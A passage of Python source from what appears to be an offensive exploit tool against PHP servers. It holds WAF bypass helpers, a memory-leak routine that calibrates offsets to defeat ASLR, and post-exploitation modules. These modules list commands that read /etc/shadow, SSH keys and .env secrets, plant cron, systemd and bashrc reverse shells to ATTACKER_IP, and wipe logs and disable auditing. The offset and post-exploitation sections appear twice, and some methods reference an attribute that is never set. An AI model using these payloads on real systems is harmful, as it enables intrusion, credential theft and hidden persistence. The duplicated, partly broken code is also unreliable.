        unicode_val = "\u0031\u0032\u0037\u002E\u0030\u002E\u0030\u002E\u0031".encode()
        new_headers = headers + b"\r\n" + b"X-Forwarded-For: " + unicode_val
        return new_headers + b"\r\n\r\n" + body

    def _apply_akamai_param_pollution(self, request: bytes) -> bytes:
        """Apply Akamai parameter pollution bypass."""
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
        if b"param=" in body:
            body = body.replace(b"param=", b"param=malicious&param=")
        return headers + b"\r\n\r\n" + body


# ===================================================================================================================
# ENCRYPTED REVERSE SHELL (SOCAT TLS) - Already partially implemented
# The socat_openssl, socat_openssl_pty, socat_openssl_bind shell types are already in PAYLOADS
# The start_listener method already supports OPENSSL-LISTEN for socat_openssl_bind
# The _generate_ssl_cert method generates SSL certificates for OpenSSL listener
# ===================================================================================================================


# ===================================================================================================================
# AUTO-OFFSET CALIBRATION MODULE
# ===================================================================================================================

@dataclass
class OffsetCalibrationConfig:
    """Configuration for auto-offset calibration."""
    enabled: bool = False
    target_php_version: str = "auto"
    calibration_attempts: int = 10
    tolerance: int = 0x1000
    test_command: str = "id"
    output_file: str = "calibrated_offsets.json"


@dataclass
class CalibrationResult:
    """Results of offset calibration."""
    php_version: str
    architecture: str
    dtor_offset: int
    zif_offset: int
    delta_min: int
    delta_max: int
    success: bool
    attempts: int
    libphp_base: int
    main_chunk_base: int
    zval_ptr_dtor_leaked: int


class OffsetCalibrator:
    """Auto-offset calibration for ASLR bypass."""
    
    def __init__(self, config: OffsetCalibrationConfig, verbose: bool = False):
        self.config = config
        self.verbose = verbose
        self.results: list = []
    
    def calibrate(self, target: Target, arch: str = "auto") -> CalibrationResult | None:
        """Attempt to automatically calibrate offsets for the target."""
        if self.verbose:
            print(f"  [+] Starting auto-offset calibration for {target.base()}")
        
        for attempt in range(self.config.calibration_attempts):
            if self.verbose:
                print(f"    [+] Calibration attempt {attempt + 1}/{self.config.calibration_attempts}")
            
            try:
                leak_info = self._attempt_leak(target)
                if not leak_info:
                    continue
                
                result = self._validate_offsets(leak_info, arch)
                if result and result.success:
                    if self.verbose:
                        print(f"    [+] Calibration successful!")
                        print(f"        dtor_offset: {hex(result.dtor_offset)}")
                        print(f"        zif_offset: {hex(result.zif_offset)}")
                        print(f"        libphp_base: {hex(result.libphp_base)}")
                        print(f"        main_chunk_base: {hex(result.main_chunk_base)}")
                    return result
                    
            except Exception as e:
                if self.verbose:
                    print(f"    [-] Attempt failed: {e}")
                continue
        
        if self.verbose:
            print(f"    [-] All calibration attempts failed")
        return None
    
    def _attempt_leak(self, target: Target) -> dict | None:
        """Attempt to leak memory addresses."""
        try:
            spec = build_leak_spec()
            
            with tempfile.NamedTemporaryFile(delete=False, suffix=".bin") as f:
                b1_file = f.name
            
            subprocess.run([
                sys.executable, 
                os.path.join(PURE, "mk_leak_b.py"),
                "--out", b1_file,
                "--spec", LEAK_SPEC,
                "--fake-len", "0xC8000",
                "--tag"
            ], check=True, stdout=subprocess.DEVNULL, cwd=HERE)
            
            leak_file = tempfile.mktemp(suffix=".resp")
            resp = send_chunked(target.port, target.path, b1_file, 30.0, leak_file)
            
            profile = None
            info = parse_leak(resp, None)
            return info
            
        except Exception as e:
            if self.verbose:
                print(f"      leak attempt failed: {e}")
            return None
    
    def _validate_offsets(self, info: dict, arch: str) -> CalibrationResult | None:
        """Validate leaked offsets against known profiles."""
        if not info["main_candidates"]:
            return None
        
        main = info["main_candidates"][0]
        delta = info["lib"] - main
        
        if arch == "auto":
            arch = "aarch64" if info["zdtor"] > 0x7FFFFFFFFFFF else "x86_64"
        
        profile = PROFILES[arch]
        
        if not (profile["delta_min"] <= delta <= profile["delta_max"]):
            return None
        
        return CalibrationResult(
            php_version=self.config.target_php_version,
            architecture=arch,
            dtor_offset=profile["dtor_offset"],
            zif_offset=profile["zif_offset"],
            delta_min=profile["delta_min"],
            delta_max=profile["delta_max"],
            success=True,
            attempts=1,
            libphp_base=info["lib"],
            main_chunk_base=main,
            zval_ptr_dtor_leaked=info["zdtor"]
        )


# ===================================================================================================================
# POST-EXPLOITATION MODULES FRAMEWORK
# ===================================================================================================================

@dataclass
class PostExploitModule:
    """Base class for post-exploitation modules."""
    name: str
    description: str
    requires_root: bool = False
    category: str = "enumeration"
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        """Execute the module. Override in subclass."""
        raise NotImplementedError


class CredentialHarvester(PostExploitModule):
    """Harvest credentials from the compromised system."""
    
    def __init__(self):
        super().__init__(
            name="credential_harvester",
            description="Harvest credentials from the compromised system",
            category="credential_access",
            requires_root=False
        )
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        results = {
            "module": "credential_harvester",
            "credentials": [],
            "ssh_keys": [],
            "config_files": [],
            "errors": []
        }
        
        commands = [
            ("/etc/passwd", "cat /etc/passwd"),
            ("/etc/shadow", "cat /etc/shadow 2>/dev/null || echo 'Permission denied'"),
            ("/etc/sudoers", "cat /etc/sudoers 2>/dev/null || echo 'Permission denied'"),
            ("ssh_keys", "find /home -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' 2>/dev/null"),
            ("ssh_config", "cat /home/*/.ssh/config 2>/dev/null || echo 'Not found'"),
            ("ssh_authorized_keys", "cat /home/*/.ssh/authorized_keys 2>/dev/null || echo 'Not found'"),
            ("bash_history", "cat /home/*/.bash_history 2>/dev/null | head -20 || echo 'Not found'"),
            ("mysql_config", "find /etc -name '*.cnf' -o -name 'my.cnf' 2>/dev/null | xargs grep -l password 2>/dev/null | head -5"),
            ("wp_config", "find /var/www -name 'wp-config.php' 2>/dev/null | xargs grep -h 'DB_PASSWORD\\|DB_USER' 2>/dev/null | head -5"),
            ("env_files", "find /var/www -name '.env' 2>/dev/null | xargs cat 2>/dev/null | head -20"),
        ]
        
        for name, cmd in commands:
            try:
                if self.verbose:
                    print(f"    [+] Running: {name}")
                results["credentials"].append({
                    "source": name,
                    "command": cmd,
                    "status": "pending"
                })
            except Exception as e:
                results["errors"].append(f"{name}: {str(e)}")
        
        return results


class LateralMovement(PostExploitModule):
    """Lateral movement module for network pivoting."""
    
    def __init__(self):
        super().__init__(
            name="lateral_movement",
            description="Lateral movement and network pivoting",
            category="lateral_movement",
            requires_root=False
        )
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        results = {
            "module": "lateral_movement",
            "network_info": {},
            "ssh_keys": [],
            "known_hosts": [],
            "errors": []
        }
        
        commands = [
            ("network_interfaces", "ip addr show"),
            ("routing_table", "ip route show"),
            ("arp_table", "arp -a"),
            ("netstat", "netstat -tuln 2>/dev/null || ss -tuln"),
            ("ssh_known_hosts", "cat /home/*/.ssh/known_hosts 2>/dev/null"),
            ("ssh_config", "cat /home/*/.ssh/config 2>/dev/null"),
            ("ssh_keys", "find /home -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' 2>/dev/null"),
            ("ssh_agent", "ssh-add -l 2>/dev/null || echo 'No agent'"),
            ("sudo_perms", "sudo -l 2>/dev/null || echo 'No sudo'"),
        ]
        
        for name, cmd in commands:
            try:
                if self.verbose:
                    print(f"    [+] Running: {name}")
                results["network_info"][name] = {"command": cmd, "status": "pending"}
            except Exception as e:
                results["errors"].append(f"{name}: {str(e)}")
        
        return results


class PersistenceModule(PostExploitModule):
    """Establish persistence on the compromised system."""
    
    def __init__(self):
        super().__init__(
            name="persistence",
            description="Establish persistence mechanisms",
            category="persistence",
            requires_root=True
        )
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        results = {
            "module": "persistence",
            "techniques": [],
            "errors": []
        }
        
        techniques = [
            ("ssh_key", "mkdir -p ~/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> ~/.ssh/authorized_keys"),
            ("cron_job", "(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"') | crontab -"),
            ("systemd_service", "echo '[Unit]\\nDescription=System Update\\n[Service]\\nExecStart=/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"\\n[Install]\\nWantedBy=multi-user.target' > /etc/systemd/system/update.service && systemctl enable update.service"),
            ("bashrc", "echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.bashrc"),
            ("profile", "echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.profile"),
            ("ssh_rc", "echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.ssh/rc"),
        ]
        
        for name, cmd in techniques:
            try:
                if self.verbose:
                    print(f"    [+] Applying: {name}")
                results["techniques"].append({
                    "name": name,
                    "command": cmd,
                    "status": "pending"
                })
            except Exception as e:
                results["errors"].append(f"{name}: {str(e)}")
        
        return results


class DefenseEvasion(PostExploitModule):
    """Defense evasion techniques."""
    
    def __init__(self):
        super().__init__(
            name="defense_evasion",
            description="Evade detection and logging",
            category="defense_evasion",
            requires_root=False
        )
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        results = {
            "module": "defense_evasion",
            "techniques": [],
            "errors": []
        }
        
        techniques = [
            ("clear_history", "history -c && history -w && export HISTFILE=/dev/null"),
            ("clear_logs", "find /var/log -type f -name '*.log' -exec truncate -s 0 {} \\; 2>/dev/null"),
            ("timestomp", "touch -r /bin/bash /tmp/evil && cp /tmp/evil /tmp/evil2"),
            ("disable_audit", "auditctl -e 0 2>/dev/null || echo 'No auditctl'"),
            ("hide_process", "mount --bind /proc/self /proc/1234 2>/dev/null || echo 'No mount'"),
        ]
        
        for name, cmd in techniques:
            try:
                if self.verbose:
                    print(f"    [+] Applying: {name}")
                results["techniques"].append({
                    "name": name,
                    "command": cmd,
                    "status": "pending"
                })
            except Exception as e:
                results["errors"].append(f"{name}: {str(e)}")
        
        return results


class PostExploitManager:
    """Manages post-exploitation modules."""
    
    def __init__(self, verbose: bool = False):
        self.verbose = verbose
        self.modules: dict[str, PostExploitModule] = {}
        self._register_default_modules()
    
    def _register_default_modules(self):
        self.register_module(CredentialHarvester())
        self.register_module(LateralMovement())
        self.register_module(PersistenceModule())
        self.register_module(DefenseEvasion())
    
    def register_module(self, module: PostExploitModule):
        self.modules[module.name] = module
        if self.verbose:
            print(f"  [+] Registered post-exploit module: {module.name}")
    
    def run_module(self, name: str, conn: socket.socket) -> dict[str, Any] | None:
        if name not in self.modules:
            print(f"  [-] Module '{name}' not found")
            return None
        
        if self.verbose:
            print(f"  [+] Running post-exploit module: {name}")
        
        try:
            return self.modules[name].run(conn, self.verbose)
        except Exception as e:
            print(f"  [-] Module '{name}' failed: {e}")
            return {"error": str(e), "module": name}
    
    def run_all(self, conn: socket.socket, categories: list[str] | None = None) -> dict[str, Any]:
        results = {}
        for name, module in self.modules.items():
            if categories and module.category not in categories:
                continue
            results[name] = self.run_module(name, conn)
        return results
    
    def list_modules(self) -> list[str]:
        return list(self.modules.keys())


# ===================================================================================================================
# AUTO-OFFSET CALIBRATION MODULE
# ===================================================================================================================

@dataclass
class OffsetCalibrationConfig:
    """Configuration for auto-offset calibration."""
    enabled: bool = False
    target_php_version: str = "auto"
    calibration_attempts: int = 10
    tolerance: int = 0x1000
    test_command: str = "id"
    output_file: str = "calibrated_offsets.json"


@dataclass
class CalibrationResult:
    """Results of offset calibration."""
    php_version: str
    architecture: str
    dtor_offset: int
    zif_offset: int
    delta_min: int
    delta_max: int
    success: bool
    attempts: int
    libphp_base: int
    main_chunk_base: int
    zval_ptr_dtor_leaked: int


class OffsetCalibrator:
    """Auto-offset calibration for ASLR bypass."""
    
    def __init__(self, config: OffsetCalibrationConfig, verbose: bool = False):
        self.config = config
        self.verbose = verbose
        self.results: list = []
    
    def calibrate(self, target: Target, arch: str = "auto") -> CalibrationResult | None:
        """Attempt to automatically calibrate offsets for the target."""
        if self.verbose:
            print(f"  [+] Starting auto-offset calibration for {target.base()}")
        
        for attempt in range(self.config.calibration_attempts):
            if self.verbose:
                print(f"    [+] Calibration attempt {attempt + 1}/{self.config.calibration_attempts}")
            
            try:
                leak_info = self._attempt_leak(target)
                if not leak_info:
                    continue
                
                result = self._validate_offsets(leak_info, arch)
                if result and result.success:
                    if self.verbose:
                        print(f"    [+] Calibration successful!")
                        print(f"        dtor_offset: {hex(result.dtor_offset)}")
                        print(f"        zif_offset: {hex(result.zif_offset)}")
                        print(f"        libphp_base: {hex(result.libphp_base)}")
                        print(f"        main_chunk_base: {hex(result.main_chunk_base)}")
                    return result
                    
            except Exception as e:
                if self.verbose:
                    print(f"    [-] Attempt failed: {e}")
                continue
        
        if self.verbose:
            print(f"    [-] All calibration attempts failed")
        return None
    
    def _attempt_leak(self, target: Target) -> dict | None:
        """Attempt to leak memory addresses."""
        try:
            spec = build_leak_spec()
            
            with tempfile.NamedTemporaryFile(delete=False, suffix=".bin") as f:
                b1_file = f.name
            
            subprocess.run([
                sys.executable, 
                os.path.join(PURE, "mk_leak_b.py"),
                "--out", b1_file,
                "--spec", LEAK_SPEC,
                "--fake-len", "0xC8000",
                "--tag"
            ], check=True, stdout=subprocess.DEVNULL, cwd=HERE)
            
            leak_file = tempfile.mktemp(suffix=".resp")
            resp = send_chunked(target.port, target.path, b1_file, 30.0, leak_file)
            
            profile = None
            info = parse_leak(resp, None)
            return info
            
        except Exception as e:
            if self.verbose:
                print(f"      leak attempt failed: {e}")
            return None
    
    def _validate_offsets(self, info: dict, arch: str) -> CalibrationResult | None:
        """Validate leaked offsets against known profiles."""
        if not info["main_candidates"]:
            return None
        
        main = info["main_candidates"][0]
        delta = info["lib"] - main
        
        if arch == "auto":
            arch = "aarch64" if info["zdtor"] > 0x7FFFFFFFFFFF else "x86_64"
        
        profile = PROFILES[arch]
        
        if not (profile["delta_min"] <= delta <= profile["delta_max"]):
            return None
        
        return CalibrationResult(
            php_version=self.config.target_php_version,
            architecture=arch,
            dtor_offset=profile["dtor_offset"],
            zif_offset=profile["zif_offset"],
            delta_min=profile["delta_min"],
            delta_max=profile["delta_max"],
            success=True,
            attempts=1,
            libphp_base=info["lib"],
            main_chunk_base=main,
            zval_ptr_dtor_leaked=info["zdtor"]
        )


# ===================================================================================================================
# POST-EXPLOITATION MODULES FRAMEWORK
# ===================================================================================================================

@dataclass
class PostExploitModule:
    """Base class for post-exploitation modules."""
    name: str
    description: str
    requires_root: bool = False
    category: str = "enumeration"
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        """Execute the module. Override in subclass."""
        raise NotImplementedError


class CredentialHarvester(PostExploitModule):
    """Harvest credentials from the compromised system."""
    
    def __init__(self):
        super().__init__(
            name="credential_harvester",
            description="Harvest credentials from the compromised system",
            category="credential_access",
            requires_root=False
        )
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        results = {
            "module": "credential_harvester",
            "credentials": [],
            "ssh_keys": [],
            "config_files": [],
            "errors": []
        }
        
        commands = [
            ("/etc/passwd", "cat /etc/passwd"),
            ("/etc/shadow", "cat /etc/shadow 2>/dev/null || echo 'Permission denied'"),
            ("/etc/sudoers", "cat /etc/sudoers 2>/dev/null || echo 'Permission denied'"),
            ("ssh_keys", "find /home -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' 2>/dev/null"),
            ("ssh_config", "cat /home/*/.ssh/config 2>/dev/null || echo 'Not found'"),
            ("ssh_authorized_keys", "cat /home/*/.ssh/authorized_keys 2>/dev/null || echo 'Not found'"),
            ("bash_history", "cat /home/*/.bash_history 2>/dev/null | head -20 || echo 'Not found'"),
            ("mysql_config", "find /etc -name '*.cnf' -o -name 'my.cnf' 2>/dev/null | xargs grep -l password 2>/dev/null | head -5"),
            ("wp_config", "find /var/www -name 'wp-config.php' 2>/dev/null | xargs grep -h 'DB_PASSWORD\\|DB_USER' 2>/dev/null | head -5"),
            ("env_files", "find /var/www -name '.env' 2>/dev/null | xargs cat 2>/dev/null | head -20"),
        ]
        
        for name, cmd in commands:
            try:
                if self.verbose:
                    print(f"    [+] Running: {name}")
                results["credentials"].append({
                    "source": name,
                    "command": cmd,
                    "status": "pending"
                })
            except Exception as e:
                results["errors"].append(f"{name}: {str(e)}")
        
        return results


class LateralMovement(PostExploitModule):
    """Lateral movement module for network pivoting."""
    
    def __init__(self):
        super().__init__(
            name="lateral_movement",
            description="Lateral movement and network pivoting",
            category="lateral_movement",
            requires_root=False
        )
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        results = {
            "module": "lateral_movement",
            "network_info": {},
            "ssh_keys": [],
            "known_hosts": [],
            "errors": []
        }
        
        commands = [
            ("network_interfaces", "ip addr show"),
            ("routing_table", "ip route show"),
            ("arp_table", "arp -a"),
            ("netstat", "netstat -tuln 2>/dev/null || ss -tuln"),
            ("ssh_known_hosts", "cat /home/*/.ssh/known_hosts 2>/dev/null"),
            ("ssh_config", "cat /home/*/.ssh/config 2>/dev/null"),
            ("ssh_keys", "find /home -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' 2>/dev/null"),
            ("ssh_agent", "ssh-add -l 2>/dev/null || echo 'No agent'"),
            ("sudo_perms", "sudo -l 2>/dev/null || echo 'No sudo'"),
        ]
        
        for name, cmd in commands:
            try:
                if self.verbose:
                    print(f"    [+] Running: {name}")
                results["network_info"][name] = {"command": cmd, "status": "pending"}
            except Exception as e:
                results["errors"].append(f"{name}: {str(e)}")
        
        return results


class PersistenceModule(PostExploitModule):
    """Establish persistence on the compromised system."""
    
    def __init__(self):
        super().__init__(
            name="persistence",
            description="Establish persistence mechanisms",
            category="persistence",
            requires_root=True
        )
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        results = {
            "module": "persistence",
            "techniques": [],
            "errors": []
        }
        
        techniques = [
            ("ssh_key", "mkdir -p ~/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> ~/.ssh/authorized_keys"),
            ("cron_job", "(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"') | crontab -"),
            ("systemd_service", "echo '[Unit]\\nDescription=System Update\\n[Service]\\nExecStart=/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"\\n[Install]\\nWantedBy=multi-user.target' > /etc/systemd/system/update.service && systemctl enable update.service"),
            ("bashrc", "echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.bashrc"),
            ("profile", "echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.profile"),
            ("ssh_rc", "echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.ssh/rc"),
        ]
        
        for name, cmd in techniques:
            try:
                if self.verbose:
                    print(f"    [+] Applying: {name}")
                results["techniques"].append({
                    "name": name,
                    "command": cmd,
                    "status": "pending"
                })
            except Exception as e:
                results["errors"].append(f"{name}: {str(e)}")
        
        return results


class DefenseEvasion(PostExploitModule):
    """Defense evasion techniques."""
    
    def __init__(self):
        super().__init__(
            name="defense_evasion",
            description="Evade detection and logging",
            category="defense_evasion",
            requires_root=False
        )
    
    def run(self, conn: socket.socket, verbose: bool = False) -> dict[str, Any]:
        results = {
            "module": "defense_evasion",
            "techniques": [],
            "errors": []
        }
        
        techniques = [
            ("clear_history", "history -c && history -w && export HISTFILE=/dev/null"),
            ("clear_logs", "find /var/log -type f -name '*.log' -exec truncate -s 0 {} \\; 2>/dev/null"),
            ("timestomp", "touch -r /bin/bash /tmp/evil && cp /tmp/evil /tmp/evil2"),
            ("disable_audit", "auditctl -e 0 2>/dev/null || echo 'No auditctl'"),
            ("hide_process", "mount --bind /proc/self /proc/1234 2>/dev/null || echo 'No mount'"),
        ]
        
        for name, cmd in techniques:
            try:
                if self.verbose:
                    print(f"    [+] Applying: {name}")
                results["techniques"].append({
                    "name": name,
                    "command": cmd,
                    "status": "pending"
                })
            except Exception as e:
                results["errors"].append(f"{name}: {str(e)}")
        
        return results


class PostExploitManager:
    """Manages post-exploitation modules."""
    
    def __init__(self, verbose: bool = False):
        self.verbose = verbose
        self.modules: dict = {}
        self._register_default_modules()
    
    def _register_default_modules(self):
        self.register_module(CredentialHarvester())
        self.register_module(LateralMovement())
        self.register_module(PersistenceModule())
        self.register_module(DefenseEvasion())
    
    def register_module(self, module):
        self.modules[module.name] = module
        if self.verbose:
            print(f"  [+] Registered post-exploit module: {module.name}")
    
    def run_module(self, name: str, conn) -> dict | None:
        if name not in self.modules:
            print(f"  [-] Module '{name}' not found")
            return None
        
        if self.verbose:
            print(f"  [+] Running post-exploit module: {name}")
        
        try:
            return self.modules[name].run(None, self.verbose)
        except Exception as e:
            print(f"  [-] Module '{name}' failed: {e}")
            return {"error": str(e), "module": name}
    
    def run_all(self, conn, categories: list = None) -> dict:
        results = {}
        for name, module in self.modules.items():
            if categories and module.category not in categories:
                continue
            results[name] = self.run_module(name, None)
        return results
    
    def list_modules(self):
        return list(self.modules.keys())


if __name__ == "__main__":
    sys.exit(main())